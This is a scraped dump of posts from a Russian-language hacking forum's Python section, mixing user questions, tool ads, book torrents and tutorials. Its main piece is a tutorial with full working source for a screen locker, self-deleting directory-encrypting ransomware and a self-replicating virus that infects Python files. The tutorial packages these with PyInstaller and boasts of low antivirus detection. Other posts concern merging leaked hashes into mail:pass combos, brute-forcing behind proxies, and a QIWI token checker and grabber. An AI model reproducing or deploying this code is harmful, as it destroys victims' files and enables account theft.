thread = Thread(target=run, args=(queue, result_queue))
thread.daemon = True
thread.start()
# И ждем, когда задачи будут выполнены
queue.join()
# После чего пишем результаты в файлы
with open(fr_success, 'w') as fs, open(fr_errors, 'w') as fe:
while not result_queue.empty():
status, phones = result_queue.get_nowait()
if status[0]:
f = fs
else:
f = fe
f.write('{} >> {}'.format(phones, status[1]))
f.write('\n')
total_time = (time.time() - start_time)
times = time.strftime("%H:%M:%S", time.gmtime(total_time))
print("Время выполнения программы заняло: " + times + "\n")
print('Обзвон базы выполнен')
if __name__ == '__main__':
main()
Привет, мне нужна помощь. У меня есть 1:1:mail:hash file и hash:pass файл, и я хочу присоединиться к ним, чтобы создать файл mail:pass. Как я могу это сделать? Помощь будет оценена
Нужен пайтон кодер со знанием фреймворков для веб разработки и базовыми
скиллами по фронту и вебу самому, собственно.
Подробности в ПМ
Собственно пишу сервер на фласке
Code:Copy to clipboard
@app.route('/')
def hello_world():
data = request.args.get('data')
print(data)
return 'nothing
http://127.0.0.1:5000/?data=Hello+world
При таком раскладе печатает Hello world. А мне нужно, чтоб все символы считывал (т.е. +. т.е. Hello+world)
В логах отображатеся
Хз как даже правильно спасрить байтовый массив с пост запроса
p.s. в петоне и фласке не гуру
p.s.s пробовал encode->utf-8-ascii, str
Ничего не помогло
p.s.s. именно с плюсом не работает
А на клиенте нету возможности вставить вместо плюса другой символ для
последующего определения на сервере
anyone knows that why following javascript is not run in chromedriver?
<script> location.href = "http://www.somelocation.com"; </script>
Коллеги привет)
Учусь писать брут программы , до конца не могу понять как втихнуть в прогу
лист с прокси . Кто имел опыт в данной сфере, буду рад помощи) Обмен опытом в
разных сфера приветствуется
заранее спасибо
Анонс фаззера Atheris Python
Fuzz-тестирование - это хорошо известный метод выявления ошибок программирования. Многие из обнаруживаемых ошибок имеют серьезные последствия для безопасности. С помощью этого метода Google смогла обнаружить тысячи уязвимостей и других ошибок. Фаззинг традиционно используетсчя на нативных языках, таких как C или C++, но в прошлом году Google создала новый движок фаззинга Python. Сегодня она выпустила фаззинг-движок Atheris с открытым исходным кодом.
Что умеет Atheris?
Atheris можно использовать для автоматического поиска ошибок в коде Python и собственных расширениях. Atheris - фаззер, с «упавляемым покрытием», что означает, что Atheris будет многократно пробовать различные входные данные для вашей программы, наблюдая, как она выполняется, и пытаться найти интересные пути.
Одно из лучших применений Atheris - это дифференциальные фаззеры. Это фаззеры, которые ищут различия в поведении двух библиотек, которые предназначены для решения одних и тех же задач. Один из примеров фаззеров, поставляемых с Atheris, сравнивает работу пакета Python «idna» с пакетом C «libidn2». Оба этих пакета предназначены для декодирования и разрешения интернационализированных доменных имен. Однако, данный пример с фазером idna_uts46_fuzzer.py показывает, что они не всегда дают одинаковые результаты. Если вы когда-нибудь решили приобрести домен, содержащий (Unicode codepoints [U+0130, U+1df9]), вы обнаружите, что библиотеки idna и libidn2 разрешают этот домен для двух совершенно разных веб-сайтов.
Atheris полезен для чистого кода Python всякий раз, когда у вас есть способ выразить, что такое «правильное» поведение или какое поведение определенно неверно. Это может быть набор обычного кода в фазере, который оценивает правильность вывода библиотеки, или проверяет отсутствия непредвиденных исключений. Последний случай очень полезен. В то время как наихудшим результатом неожиданного исключения является отказ в обслуживании (вызывающий сбой программы), непредвиденные исключения, как правило, выявляют более серьезные ошибки в библиотеках. Например, одна из библиотек синтаксического анализа YAML, на которой тестировался Atheris, говорит, что она будет вызывать только ошибки YAMLErrors; однако yaml_fuzzer.py обнаруживает множество других исключений, таких как ValueError при попытке интерпретировать «-_» как целое число или TypeError при попытке использовать список в качестве ключа в dict. Это указывает на недостатки парсера.
Наконец, Atheris поддерживает фаззинг собственных расширений Python с помощью libFuzzer. libFuzzer - это механизм фаззинга, интегрированный в Clang, обычно используемый для фаззинга C или C ++. При использовании libFuzzer с Atheris, Atheris может находить все ошибки, описанные ранее, а также ошибки повреждения памяти, которые существуют только в собственном коде. Atheris поддерживает Clang sanitizers Address Sanitizer и Undefined Behavior Sanitizer. Это позволяет легко обнаружить повреждение заранее. В одном случае автор этого документа обнаружил ошибку LLVM с помощью фаззера Atheris.
Что поддерживает Atheris?
Atheris поддерживает фаззинг кода Python и собственные расширения в Python 2.7 и Python 3.3+. При фаззинге кода Python настоятельно рекомендуется использовать Python 3.8+, поскольку он позволяет получить гораздо лучшую информацию о покрытии. При фаззинге собственных расширений Atheris можно использовать в сочетании с Address Sanitizer или Undefined Behavior Sanitizer. OSS-Fuzz - это сервис фаззинга от Google, где бесплатно работает фаззер для открытого исходного кода. OSS-Fuzz скоро будет поддерживать Atheris!
С чего начать?
Взгляните на репозиторий, в частности на примеры. Для фаззинга чистого Python все очень просто:
Code:Copy to clipboard
pip3 install atheris
А затем просто определите функцию TestOneInput, которая запускает код, который вы хотите фаззировать:
Code:Copy to clipboard
import atheris
import sys
def TestOneInput(data):
if data == b"bad":
raise RuntimeError("Badness!")
atheris.Setup(sys.argv, TestOneInput)
atheris.Fuzz()
Это все! Atheris будет многократно вызывать TestOneInput и отслеживать поток выполнения, пока не произойдет сбой или исключение.
Для получения дополнительных сведений, в том числе о том, как фаззить собственный код, см. README.
Оригинал статьи: <https://opensource.googleblog.com/2020/12/announcing-
atheris-python-fuzzer.html>
Автор перевода: PicMe, для xss.is
Недовно скачал софт который создает копию соц сетей, но столкнулся с некоторыми проблемами, итак как я чайник в этом теме не могу справится с ним, помогите пожалуйста. На скринах все видно
Hello is there a way to encode strings on a text files like this
Âèòàëèé
i try iconv but i couldn't get the right word is there a tool on linux or windows?
Самодельный чекер токенов QIWI и граббер данных если токен валидный
Написано на Python 3.
Установка:
1. Скачиваете файл с GOOGLE
DRIVE
2. Переходите в директорию с файлом
3. Пишите в консоли:
Code:Copy to clipboard
pip3 install requests colorama
Запуск:
Code:Copy to clipboard
python3 QiwiChecker.py
Подробности в пм
Привет, изучаю парсинг python с библиотеками requests, beautifulsoup
Вроде все нормально парсит весь текст, который нужен. Но как бы я не пробовал
парсить ссылку, ответ приходит подобный этому "
data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"
ссылка на картинку, но имеет вид не ссылки а просто набор текста. Как фиксить
?
Нужно чтобы в ответе приходила именно ссылка.
Привет, меня интересует вопрос как можно запихнуть в бота тг свои радиостанции ?
Например я слушаю несколько разных станций, и хочу сделать бота с этими радиостанциями.
Что бы просто зайти в тг, выбрать у бота свою радиостанцию и слушать. - не заходя в браузер, не переходя по миллионам ссылок с рекламой и прочим .
Коллеги,привет
пишу на пайчарме ,проги открываются,работают
пытаюсь запустить через терминал ,пишет доступ запрещен. До этого было все
впорядке
стоит kali linux 2020.2 , рут права конечно же
в чем трабл?)
Почему кому-то может прийти в голову писать малварь на Python? Мы сделаем это, чтобы изучить общие принципы вредоносостроения, а заодно вы попрактикуетесь в использовании этого языка и сможете применять полученные знания в других целях. К тому же вредонос на Python таки попадается в дикой природе, и далеко не все антивирусы обращают на него внимание.
Чаще всего Python применяют для создания бэкдоров в софте, чтобы загружать и исполнять любой код на зараженной машине. Так, в 2017 году сотрудники компании Dr.Web обнаружили Python.BackDoor.33, а 8 мая 2019 года был замечен Mac.BackDoor.Siggen.20. Другой троян — RAT Python крал пользовательские данные с зараженных устройств и использовал Telegram в качестве канала передачи данных.
Мы же создадим три демонстрационные программы: локер, который будет блокировать доступ к компьютеру, пока пользователь не введет правильный пароль, шифровальщик, который будет обходить директории и шифровать все лежащие в них файлы, а также вирус, который будет распространять свой код, заражая другие программы на Python.
Как написать локер, шифровальщик и вирус на Python
Несмотря на то что наши творения не претендуют на сколько-нибудь высокий технический уровень, они в определенных условиях могут быть опасными. Поэтому предупреждаю, что за нарушение работы чужих компьютеров и уничтожение информации может последовать строгое наказание. Давайте сразу договоримся: запускать все, что мы здесь описываем, вы будете только на своей машине, да и то осторожно — чтобы случайно не зашифровать себе весь диск.
Настройка среды
Итак, первым делом нам, конечно, понадобится сам Python, причем третьей
версии. Не буду детально расписывать, как его устанавливать, и сразу отправлю
вас скачивать бесплатную книгу «Укус питона»
(PDF). В
ней вы найдете ответ на этот и многие другие вопросы, связанные с Python.
Дополнительно установим несколько модулей, которые будем использовать:
Python:Copy to clipboard
pip install pyAesCrypt
pip install pyautogui
pip install tkinter
На этом с подготовительным этапом покончено, можно приступать к написанию кода.
Создание локера
Идея — создаем окно на полный экран и не даем пользователю закрыть его.
Импорт библиотек:
Python:Copy to clipboard
import pyautogui
from tkinter import Tk, Entry, Label
from pyautogu соi import click, moveTo
from time import sleep
Теперь возьмемся за основную часть программы.
Code:Copy to clipboard
# Создаем окно
root = Tk()
# Вырубаем защиту левого верхнего угла экрана
pyautogui.FAILSAFE = False
# Получаем ширину и высоту окна
width = root.winfo_screenwidth()
height = root.winfo_screenheight()
# Задаем заголовок окна
root.title('From "hacker" with love')
# Открываем окно на весь экран
root.attributes("-fullscreen", True)
# Создаем поле для ввода, задаем его размеры и расположение
entry = Entry(root, font=1)
entry.place(width=150, height=50, x=width/2-75, y=height/2-25)
# Создаем текстовые подписи и задаем их расположение
label0 = Label(root, text="╚(•⌂•)╝ Locker by hacker (╯°□°)╯︵ ┻━┻", font=1)
label0.grid(row=0, column=0)
label1 = Label(root, text="Пиши пароль и жми Ctrl + C", font='Arial 20')
label1.place(x=width/2-75-130, y=height/2-25-100)
# Включаем постоянное обновление окна и делаем паузу
root.update()
sleep(0.2)
# Кликаем в центр окна
click(width/2, height/2)
# обнуляем ключ
k = False
# Теперь непрерывно проверяем, не введен ли верный ключ
# Если введен, вызываем функцию хулиганства
while not k:
on_closing()
Здесь pyautogui.FAILSAFE = False
— защита, которая активируется при
перемещении курсора в верхний левый угол экрана. При ее срабатывании программа
закрывается. Нам это не надо, поэтому вырубаем эту функцию.
Чтобы наш локер работал на любом мониторе с любым разрешением, считываем ширину и высоту экрана и по простой формуле вычисляем, куда будет попадать курсор, делаться клик и так далее. В нашем случае курсор попадает в центр экрана, то есть ширину и высоту мы делим на два. Паузу (sleep) добавим для того, чтобы пользователь мог ввести код для отмены.
Сейчас мы не блокировали ввод текста, но можно это сделать, и тогда пользователь никак от нас не избавится. Для этого напишем еще немного кода. Не советую делать это сразу. Сначала давайте настроим программу, чтобы она выключалась при вводе пароля. Но код для блокирования клавиатуры и мыши выглядит вот так:
Python:Copy to clipboard
import pythoncom, pyHook
hm = pyHook.HookManager()
hm.MouseAll = uMad
hm.KeyAll = uMad
hm.HookMouse()
hm.HookKeyboard()
pythoncom.PumpMessages()
Создадим функцию для ввода ключа:
Python:Copy to clipboard
def callback(event):
global k, entry
if entry.get() == "hacker":
k = True
Тут всё просто. Если ключ не тот, который мы задали, программа продолжает работать. Если пароли совпали — тормозим.
Последняя функция, которая нужна для работы окна-вредителя:
Python:Copy to clipboard
def on_closing():
# Кликаем в центр экрана
click(width/2, height/2)
# Перемещаем курсор мыши в центр экрана
moveTo(width/2, height/2)
# Включаем полноэкранный режим
root.attributes("-fullscreen", True)
# При попытке закрыть окно с помощью диспетчера задач вызываем on_closing
root.protocol("WM_DELETE_WINDOW", on_closing)
# Включаем постоянное обновление окна
root.update()
# Добавляем сочетание клавиш, которые будут закрывать программу
root.bind('<Control-KeyPress-c>', callback)
На этом наш импровизированный локер готов.
Создание шифровальщика
Этот вирус мы напишем при помощи только одной сторонней библиотеки —
pyAesCrypt. Идея — шифруем все файлы в указанной директории и всех директориях
ниже. Это важное ограничение, которое позволяет не сломать операционку. Для
работы создадим два файла — шифратор и дешифратор. После работы исполняемые
файлы будут самоудаляться.
Сначала запрашиваем путь к атакуемому каталогу и пароль для шифрования и дешифровки:
Code:Copy to clipboard
direct = input("Напиши атакуемую директорию: ")
password = input("Введи пароль: ")
Дальше мы будем генерировать скрипты для шифрования и дешифровки. Выглядит это примерно так:
Python:Copy to clipboard
with open("Crypt.py", "w") as crypt:
crypt.write('''
текст программы
''')
Переходим к файлам, которые мы будем использовать в качестве шаблонов. Начнем с шифратора. Нам потребуются две стандартные библиотеки:
Python:Copy to clipboard
import os
import sys
Пишем функцию шифрования (все по мануалу pyAesCrypt):
Python:Copy to clipboard
def crypt(file):
import pyAesCrypt
print('-' * 80)
# Задаем пароль и размер буфера
password = "'''+str(password)+'''"
buffer_size = 512*1024
# Вызываем функцию шифрования
pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
print("[Encrypt] '"+str(file)+".crp'")
# Удаляем исходный файл
os.remove(file)
Вместо str(password)
скрипт-генератор вставит пароль.
Важные нюансы. Шифровать и дешифровать мы будем при помощи буфера, таким образом мы избавимся от ограничения на размер файла (по крайней мере, значительно уменьшим это ограничение). Вызов os.remove(file) нужен для удаления исходного файла, так как мы копируем файл и шифруем копию. Можно настроить копирование файла вместо удаления.
Теперь функция, которая обходит папки. Тут тоже ничего сложного.
Python:Copy to clipboard
def walk(dir):
# Перебор всех подпапок в указанной папке
for name in os.listdir(dir):
path = os.path.join(dir, name)
# Если это файл, шифруем его
if os.path.isfile(path):
crypt(path)
# Если это папка, рекурсивно повторяем
else:
walk(path)
В конце добавим еще две строки. Одна для запуска обхода, вторая — для самоуничтожения программы.
Python:Copy to clipboard
walk("'''+str(direct)+'''")
os.remove(str(sys.argv[0]))
Здесь снова будет подставляться нужный путь.
Вот весь исходник целиком.
Python:Copy to clipboard
import os
import sys
def crypt(file):
import pyAesCrypt
print('-' * 80)
password = "'"+str(password)+"'"
buffer_size = 512*1024
pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
print("[Encrypt] '"+str(file)+".crp'")
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
crypt(path)
else:
walk(path)
walk("'''+str(direct)+'''")
print('-' * 80)
os.remove(str(sys.argv[0]))
Теперь «зеркальный» файл. Если в шифровальщике мы писали encrypt, то в дешифраторе пишем decrypt. Повторять разбор тех же строк нет смысла, поэтому сразу финальный вариант.
Python:Copy to clipboard
import os
import sys
# Функция расшифровки
def decrypt(file):
import pyAesCrypt
print('-' * 80)
password = "'''+str(password)+'''"
buffer_size = 512 * 1024
pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size)
print("[Decrypt] '" + str(os.path.splitext(file)[0]) + "'")
os.remove(file)
# Обход каталогов
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
try:
decrypt(path)
except Error:
pass
else:
walk(path)
walk("'''+str(direct)+'''")
print('-' * 80)
os.remove(str(sys.argv[0]))
Итого 29 строк, из которых на дешифровку ушло три. На случай, если какой-то из файлов вдруг окажется поврежденным и возникнет ошибка, пользуемся отловом исключений (try…except). То есть, если не получиться расшифровать файл, мы его просто пропускаем.
Создание вируса
Здесь идея в том, чтобы создать программу, которая будет заражать другие
программы с указанным расширением. В отличие от настоящих вирусов, которые
заражают любой исполняемый файл, наш будет поражать только другие программы на
Python.
На этот раз нам не потребуются никакие сторонние библиотеки, нужны только модули sys и os. Подключаем их.
Python:Copy to clipboard
import sys
import os
Создадим три функции: сообщение, парсер, заражение.
Функция, которая сообщает об атаке:
Code:Copy to clipboard
def code(void):
print("Infected")
Сразу вызовем ее, чтобы понять, что программа отработала:
Code:Copy to clipboard
code(None)
Обход директорий похож на тот, что мы делали в шифровальщике.
Python:Copy to clipboard
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
# Если нашли файл, проверяем его расширение
if os.path.isfile(path):
# Если расширение — py, вызываем virus
if (os.path.splitext(path)[1] == ".py"):
virus(path)
else:
pass
else:
# Если это каталог, заходим в него
walk(path)
В теории мы могли бы таким же образом отравлять исходники и на других языках, добавив код на этих языках в файлы с соответствующими расширениями. А в Unix- образных системах скрипты на Bash, Ruby, Perl и подобном можно просто подменить скриптами на Python, исправив путь к интерпретатору в первой строке.
Вирус будет заражать файлы «вниз» от того каталога, где он находится (путь мы получаем, вызвав os.getcwd()).
В начале и в конце файла пишем вот такие комментарии:
Python:Copy to clipboard
# START #
# STOP #
Чуть позже объясню зачем.
Дальше функция, которая отвечает за саморепликацию.
Python:Copy to clipboard
def virus(python):
begin = "# START #\n"
end = "# STOP #\n"
# Читаем атакуемый файл, назовем его copy
with open(sys.argv[0], "r") as copy:
# Создаем флаг
k = 0
# Создаем переменную для кода вируса и добавляем пустую строку
virus_code = "\n"
# Построчно проходим заражаемый файл
for line in copy:
# Если находим маркер начала, поднимаем флаг
if line == begin:
k = 1
# Добавляем маркер в зараженный код
virus_code += begin
# Если мы прошли начало, но не дошли до конца, копируем строку
elif k == 1 and line != end:
virus_code += line
# Если дошли до конца, добавляем финальный маркер и выходим из цикла
elif line == end:
virus_code += end
break
else:
pass
# Снова читаем заражаемый файл
with open(python, "r") as file:
# Создаем переменную для исходного кода
original_code = ""
# Построчно копируем заражаемый код
for line in file:
original_code += line
# Если находим маркер начала вируса, останавливаемся и поднимаем флаг vir
if line == begin:
vir = True
break
# Если маркера нет, опускаем флаг vir
else:
vir = False
# Если флаг vir опущен, пишем в файл вирус и исходный код
if not vir:
with open(python, "w") as paste:
paste.write(virus_code + "\n\n" + original_code)
else:
pass
Теперь, думаю, стало понятнее, зачем нужны метки «старт» и «стоп». Они обозначают начало и конец кода вируса. Сперва мы читаем файл и построчно просматриваем его. Когда мы наткнулись на стартовую метку, поднимаем флаг. Пустую строку добавляем, чтобы вирус в исходном коде начинался с новой строки. Читаем файл второй раз и записываем построчно исходный код. Последний шаг — пишем вирус, два отступа и оригинальный код. Можно поиздеваться и записать его как-нибудь по-особому — например, видоизменить все выводимые строки.
Создание исполняемого файла
Как запустить вирус, написанный на скриптовом языке, на машине жертвы? Есть
два пути: либо как-то убедиться, что там установлен интерпретатор, либо
запаковать созданный нами шифровальщик вместе со всем необходимым в единый
исполняемый файл. Этой цели служит утилита PyInstaller. Вот как ей
пользоваться.
Устанавливаем
Python:Copy to clipboard
pip install PyInstaller
И вводим команду
Python:Copy to clipboard
PyInstaller "имя_файла.py" --onefile --noconsole
Немного ждем, и у нас в папке с программой появляется куча файлов. Можете смело избавляться от всего, кроме экзешников, они будет лежать в папке dist.
Говорят, что с тех пор, как начали появляться вредоносные программы на Python, антивирусы стали крайне нервно реагировать на PyInstaller, причем даже если он прилагается к совершенно безопасной программе.
Я решил проверить, что VirusTotal скажет о моих творениях. Вот отчеты:
Худший результат показал Virus.exe — то ли некоторые антивирусы обратили внимание на саморепликацию, то ли просто название файла не понравилось. Но как видите, содержимое любого из этих файлов насторожило далеко не все антивирусы.
Итого
Итак, мы написали три вредоносные программы: локер, шифровальщик и вирус,
использовав скриптовый язык, и упаковали их при помощи PyInstaller.
Безусловно, наш вирус — не самый страшный на свете, а локер и шифровальщик еще нужно как-то доставлять до машины жертвы. При этом ни одна из наших программ не общается с C&C-сервером и я совсем не обфусцировал код.
Тем не менее уровень детекта антивирусами оказался на удивление низким. Получается, что даже самый простой вирус шифровальщик может стать угрозой. Так что антивирусы антивирусами, но скачивать из интернета случайные программы и запускать их не думая всегда будет небезопасно.
Автор @Kozhuh
Софт многопоточный с решением каптчи, проблема следующая:
При бруте я получаю само изоображение каптчи и её хеш, функция работает так:
парсим хеш, парсим url картинки и отправляем на решение.
Но происходит так что, несколько потоков получают одну и туже картинку.НО хеш
и ссылки РАЗНЫЕ, т.е разные ссылки, но картинка одна и та же(я залогировал
ссылки и перешёл по ним в браузере, точно убедился, что сервер отдаёт одну и
ту же картинку по разным ссылкам). Когда один из потоков решает каптчу, то для
других она становиться уже невалидной и остальные потоки получают ответ
неверной каптчи.
Какую проверку можно организовать, чтобы потоки знали что эта картинка уже отправлена и не стоит её трогать?(Можно без примеров кода)
У меня единственная идея, это организовать поток в котором будет список и все отправленные каптчи будут висеть секунду 20-30 в этом списке, затем будут удаляться. Ну а потоки, которые брутят будут спрашивать о наличии картинки в списке.
Подскажите, чем можно автоматизировать Android приложение? Желательно с
помощью Python.
Есть ли эдакий аналог Selenium?
Всем привет, ищу книги близкие по тематике к Black Hat Python и Gray Hat Python, но актуальные на сегодняшний день. Ввиду того, что две выше упомянутые содержат информацию, которая уже значительно устарела. =( Если у вас есть материалы, дайте знать в какую сторону копать.
Есть ли возможность написать, либо уже воспользоваться сервисом, который ищет по ключевым словам контент с сайта Вконтакте у всех пользователей. Интересуют посты, комментарии, фото, видео, музыка. Слышал про streaming api, может кто ещё чего подскажет
Hidden content for authorized users.
](https://anonfiles.com/N3ycyd52o8/python-exe-unpacker-master_zip)
anonfiles.com
Очень ламерский вопрос.
Какой пакет поставить, чтобы нормально все отражалось? Питон и 2 и 3. Башку
сломал
Colorama стоит, ASCI пакеты вроде тоже. Не пойму куда копать и что ставить.
Причем на на одном только скрипте, на всех где псевдографика.
Блин, даже нормально сформулировать не могу
solve the captcha and use legit mail
solve captcha and use legit mail
Год выпуска: 2019
Автор: Тони Гэддис
Жанр: Программирование
Издательство: БХВ-Петербург
Формат: PDF
Качество: eBook (изначально компьютерное)
Количество страниц: 770
Описание:
Изложены принципы программирования, с помощью которых читатель приобретет навыки алгоритмического решения задач на языке Python, даже не имея опыта программирования. Дано краткое введение в компьютеры и программирование. Рассмотрен ввод, обработка и вывод данных, управляющие структуры и булева логика, структуры с повторением, функции, файлы и исключения, списки и кортежи, строковые данные, словари и множества, классы и ООП, наследование, рекурсия, программирование интерфейса, функциональное программирование и др. Для облегчения понимания сути алгоритмов широко использованы блок-схемы, псевдокод и другие инструменты. Приведено большое количество сжатых и практичных примеров программ. В каждой главе предложены тематические задачи с пошаговым анализом их решения.
hash: 4de418a7e571fcbd2df5ca72d9819160f7d3fc6e
torrent
Год выпуска: 2019
Автор: Джозеф Лентин
Жанр: Программирование
Формат: PDF
Качество: eBook (изначально компьютерное)
Количество страниц: 250
Описание:
Создайте с нуля автономный мобильный робот! В данной книге рассказывается, как с нуля построить автономный мобильный обслуживающий робот, с помощью которого можно подавать еду в квартире, гостинице и ресторане. Благодаря подробным пошаговым инструкциям читатель узнает весь процесс разработки робота - начиная с теоретической части (принципы дифференциального привода, кинематики и обратной кинематики) и заканчивая практической реализацией (сборка отдельных компонентов, согласование приводов и датчиков с контроллерами).
Много внимания уделено программной части - использованию метаоперационной системы ROS, моделированию в Gazebo, обработке изображений в OpenCV, разработке GUI робота на Qt и Python.
Издание предназначено для широкого круга читателей, увлеченных робототехникой,
программированием и самостоятельной сборкой различных DIY-устройств.
hash: c74ebff958c99b482bcf241891ece311c2dcac4f
torrent
Нашел простенький телеграм бот в пару строк на Python, который через камеру
фиксирует новый движения, объекты и т.д.
api_id, api_hash, phone и chat получать через my.telegram.org, как всегда
Юнит-тесты #1
Программисты так или иначе тестируют свои программы. В простых случаях можно запустить программу несколько раз и проверить результаты. А если вы внесли изменение? Нужно проделать эту рутинную работу еще раз и не ошибиться самому. В сложных программах это просто нереально. Естественно, этот процесс автоматизируется. Сложная программа состоит из отдельных классов, функций и модулей, каждый из которых отвечает за свой ограниченный круг функциональности. Поэтому разумно написать несколько небольших программок, которые будут подавать на вход разнообразные типичные комбинации данных и сравнивать с ожидаемым результатом. Это и будут юнит-тесты. После изменения кода запуск юнит-тестов покажет, не сломалось ли поведение программы.
В Python поставляется модуль unittest, который облегчает написание тестов:
Чтобы создать тестовый случай, нужно создать класс, отнаследованный от
unittest.TestCase
. А внутри этого класса можно добавить несколько методов,
начинающихся со слова test
. Каждый из этих методов должен тестировать какой-
то из аспектов кода. Для примера мы тестируем свойства строк Python: сложение
строк (test sum) и преобразование к нижнему регистру (test lower):
Python:Copy to clipboard
import unittest
class StringTestCase(unittest.TestCase):
def test_sum(self):
self.assertEqual("" + "", "")
self.assertEqual("foo" + "bar", "foobar")
def test_lower(self):
self.assertEqual("FOO".lower(), "foo")
self.assertTrue("foo".islower())
self.assertFalse("Bar".islower())
Самые распространенные проверки:
self.assertEqual
– непосредственно проверяет, чтобы первый аргумент равнялся
второму. Если это будет не так, то тест будет провален, и появится сообщение о
том, что и где пошло не так.
self.assertTrue
– ожидает, что аргумент будет эквивалентен правде (True), а
self.assertFalse
– проверяет на ложь (False).
Запуск делается либо непосредственно из самой программы:
Python:Copy to clipboard
if name == '__main__':
unittest.main()
А можно из консоли:
Code:Copy to clipboard
python -m unittest my_test.py
Модуль unittest сам найдет все тестовые случаи и выполнит в них все тестовые функции.
Юнит-тесты #2**
Тестовые фикстуры (test fixtures) – особые условия, которые создаются для выполнения тестов. Сюда могут входить такие вещи:
Пример: у вас программа, которая вычисляет вычисляет число π до n-знака, и вам нужно протестировать, как будет выведен на экран миллионнный знак. Вы же не будете в тесте ждать вычисления всех предыдущих 999,999 знаков часами, а просто загрузите какие-то данные в память, чтобы создать условия, как будто мы уже на миллионом знаке.
В unittest фикстуры можно создавать на уровне модуля с тестами, отдельного
класса (от unittest.TestCase
) и каждого метода в классе теста.
Метод setUp()
вызывается перед каждым вызовом метода test*
в классе
тестового случая.
Классовый метод setUpClass()
вызывается один раз перед запуском тестов в
классе тестового случая.
Функция setUpModule()
вызывается перед выполнением тестовых случаев в этом
модуле.
У них есть пары, предназначенные для освобождения ресурсов (закрытия
соединений, удаления временных файлов и т.п.):
tearDown()
– после каждого метода-теста в классе.
tearDownClass()
– после всех тестов в классе.
tearDownModule()
– после всех классов в модуле.
В примере изучим порядок вызовов этих функций:
Python:Copy to clipboard
import unittest
class StringTestCase(unittest.TestCase):
@classmethod
def setUpClass(cls):
print(' - set up class')
def setUp(self):
print(' - - set up method')
self.foo = "foo"
self.bar = "bar"
def test_sum(self):
self.assertEqual(self.foo + self.bar, "foobar")
def test_lower(self):
self.assertTrue(self.foo.islower())
def tearDown(self):
print(' - - tear down method')
@classmethod
def tearDownClass(cls):
print(' - tear down class')
def setUpModule():
print('set up module')
def tearDownModule():
print('tear down module')
if name == '__main__':
unittest.main()
Даст такую схему вызовов:
Code:Copy to clipboard
set up module
- set up class
- - set up method
- - tear down method
- - set up method
- - tear down method
- tear down class
tear down module
Даже если в одной из этих или тестовых функций произошло исключение, то прочие
методы tearDown*()
будут все равно запущены, чтобы освобождение ресурсов
произошло корректно.
Юнит-тесты #3: пропуск тестов
Модуль unittest поддерживает пропуск отдельных тестовых методов и целых тестовых классов. Пропускают тесты, если нет нужного ресурса для теста, тест предназначен только для отдельных платформ или версий библиотек и т.п. Способы пропустить тест:
@unittest.skip("причина")
– всегда пропускать тест.@unittest.skipIf(условие, "причина")
– пропускать тест, если условие сработало (True).@unittest.skipUnless(условие, "причина")
– пропускать тест, если условие НЕ сработало (False).self.skipTest("причина")
– если нужно остановить выполнение метода, выйти из него и не учитывать его в результатах. Так же может быть вызван в методе setUp(), который вызывается перед каждым тестовым методом.Пример:
Python:Copy to clipboard
class MyTestCase(unittest.TestCase):
@unittest.skip("всегда пропустить")
def test_nothing(self):
self.fail("не случится")
@unittest.skipIf(mylib.__version__ < (1, 3),
"эта версия библиотеки не поддерживается")
def test_format(self):
# этот тест работает только для определенных версий
pass
@unittest.skipUnless(sys.platform.startswith("win"), "надо Windows")
def test_windows_support(self):
# тест работает только на Windows
pass
def test_maybe_skipped(self):
if not external_resource_available():
self.skipTest("ресурс недоступен")
# код дальше будет тестировать, если ресурс доступен
pass
Пример пропуска класса:
Python:Copy to clipboard
@unittest.skip("как пропустить класс")
class MySkippedTestCase(unittest.TestCase):
def test_not_run(self):
pass
Вы можете написать свой декоратор. Например, данный декоторатор пропускает
тест, если объект obj
не имеет атрибут attr
:
Python:Copy to clipboard
def skipUnlessHasattr(obj, attr):
if hasattr(obj, attr):
return lambda func: func
return unittest.skip("{!r} не имеет {!r}".format(obj, attr))
class SkipAttrTestCase(unittest.TestCase):
@skipUnlessHasattr(mylib, "foofunc")
def test_with_foofunc():
# у mylib нет атрибута foofunc, тест будет пропущен
pass
Еще один декоратор @unittest.expectedFailure
говорит системе тестирования,
что следующий метод должен провалиться (один из self.assert
должен не
сработать). Таким образом, разработчик говорит, что он осведомлен, что данный
тест пока проваливается, и в будущем к этому примут меры.
Python:Copy to clipboard
class ExpectedFailureTestCase(unittest.TestCase):
@unittest.expectedFailure
def test_fail(self):
self.assertEqual(1, 0, "сломано")
В конце выполнения будут счетчики пропусков и ожидаемых провалов тестов:
Code:Copy to clipboard
OK (skipped=5, expected failures=1)
Юнит-тесты #4: проверки **
В первой части мы обсудили методы проверки assertEqual
, assertTrue
и
assertFalse
, так как они самые распространенные на практике. Вообще
достаточно одного assertTrue
. Действительно, одно и тоже:
Python:Copy to clipboard
assertNotIn(item, list)
assertTrue(item not in list)
Поэтому не буду особо акцентировать внимание на каждом из методов, а прикреплю общую таблицу. Помимо данных для проверки, все методы могут быть дополнены сообщением, которое будет выведено в отчет, если проверка провалилась:
Python:Copy to clipboard
self.assertEqual(2 + 2, 5, "я не учил математику")
Однако, стоит упомянуть метод self.assertRaises(SomeException)
, который
проверяет, возбуждает ли код нужное исключение. Обычно он применяется как
контекст-менеджер (с with).
Пример: деление на 0 должно бросать исключение
Python:Copy to clipboard
ZeroDivisionError:
import unittest
def my_div(a, b):
return a // b
class MyDivTestCase(unittest.TestCase):
def test_1(self):
self.assertEqual(my_div(10, 2), 5)
# при делении на 0 ждем исключение:
with self.assertRaises(ZeroDivisionError):
my_div(7, 0)
# или так: исключение, ф-ция, аргументы
self.assertRaises(ZeroDivisionError, my_div, 5, 0)
unittest.main()
Если из исключения нужно извлечь данные (к примеру, код ошибки), то делают так:
Python:Copy to clipboard
with self.assertRaises(SomeException) as cm:
do_something()
self.assertEqual(cm.exception.error_code, 3)
**Юнит-тесты #5: PyTest **
Ранее мы обсуждали тестирование средствами встроенного модуля unittest. Естественно, есть и сторонние библиотеки для тестирования. Например, библиотека PyTest предоставляет более лаконичный и удобный инструментарий для написания тестов. Однако, ее нужно установить:
Code:Copy to clipboard
